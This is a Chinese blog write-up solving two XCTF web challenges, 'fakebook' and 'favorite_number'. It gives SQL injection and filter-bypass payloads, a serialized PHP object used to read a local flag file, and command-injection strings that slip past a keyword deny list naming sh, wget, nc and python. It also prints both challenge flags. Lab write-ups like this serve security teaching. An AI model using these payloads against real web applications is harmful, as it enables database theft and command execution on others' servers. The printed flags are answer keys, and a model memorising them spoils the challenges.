【攻防世界WEB】难度三星9分:fakebook、favorite_number

举报
黑色地带(崛起) 发表于 2023/01/27 21:50:51 2023/01/27
【摘要】 【攻防世界WEB】难度三星9分:fakebook、favorite_number

前言:

介绍: 

博主:网络安全领域狂热爱好者。

殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。


导读:

面向读者:对于网络安全方面的学者。


 目录

fakebook

解题方法:

过程:

favorite_number

解题方法:

过程:



fakebook

编辑




解题方法:

1、寻找注入点,发现反序列化函数,与序列化内容,猜测文件位置




过程:

查看robots.txt文件

发现是一个备份文件

编辑


正则匹配:在blog中要匹配到https://

编辑


现在再去注册

编辑

这个1可以点

编辑 发现进行了传参

编辑


考虑是否有:

注入

文件包含

伪协议

…… 


 输入单引号报错 

但是无法闭合

编辑

换一种方法尝试

加上and 1=1

(回显正常)

编辑

 输入and 1=2

(报错)编辑

 存在注入点


查字段数

order by 4

(回显正常)

编辑

 order by 5

(报错)

编辑

所以有4个字段


判断回显点

编辑

 尝试绕过

/**/union/**/ select /**/1,2,3,4

编辑

 发现2是回显点


爆数据库

/**/union/**/ select/**/ 1,database(),3,4

 数据库为fakebook编辑



 爆表

-1 /**/union /**/ select/**/ 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database()#

获得了users表

编辑


爆字段

 -1 /**/union /**/ select/**/ 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#

编辑


爆数据

-1 /**/union /**/ select/**/ 1,group_concat(no,'~',data) ,3,4 from fakebook.users#

 没啥有用信息

突然关注到反序列化函数,与这个出现了多次的路径编辑



文件路径

/var/www/html/view.php

那么flag的路径也可能是

/var/www/html/flag.php

编辑

因为存在反序列化函数,所以我们应该注入序列化语句


使用file:///协议去访问本地计算机文件

-1 /**/union /**/ select /**/1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

 编辑

但是没有显示出flag.php内容

很多flag都不显示,而在源码内,Ctrl+U查看源码 

发现一段base64加密字符

编辑

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

解密后为

编辑

flag{c1e552fdf77049fabf65168f22f7aeab}



favorite_number

编辑


解题方法:

1、源码分析,绕过过滤,flag寻找方法




过程:

进入后就是php代码

编辑

代码1:数组

使用$_POST["stuff"]接收数组

并且限制$stuff[0] != 'admin'

可以采用数组下标溢出绕过

stuff[2^32]=admin

$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') { 
    $num= $_POST["num"]; 

代码2:正则匹配

"/^\d+$/im":匹配一串数字,不能有其它字符

/m:多行匹配,有一行匹配成功,preg_match返回true

换行符:0x0a(ascii码),%0a(URL编码)

 if (preg_match("/^\d+$/im",$num)){ 

代码3:过滤关键字

 if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ 

1、数组:数字下标溢出绕过

2、正则匹配:%0a多行绕过

3、关键字过滤:可以拼接其他命令&&(ascii码0x26,URL编码%26)

构造payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als
 



使用bp抓包

编辑

 发现通过HackBar提交的内容被编码了

编辑



使用bp把它再改回原来的payload

然后再发送

编辑



开始寻找flag

先寻找flag的inode的索引点

payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /

再通过HackBar提交,再改包
编辑

 18497049 flag编辑


读取flag

payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 18497049`

再通过HackBar提交,再改包

编辑

 超时了编辑


换一种方法

因为没过滤$,用变量拼接试试

payload:

stuff[4294967296]=admin&stuff[1]=user&num=1%0aa=f;b=lag;tac /$a$b;

编辑

 cyberpeace{7d870124ba11eacef73c2c409588eadf}



【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。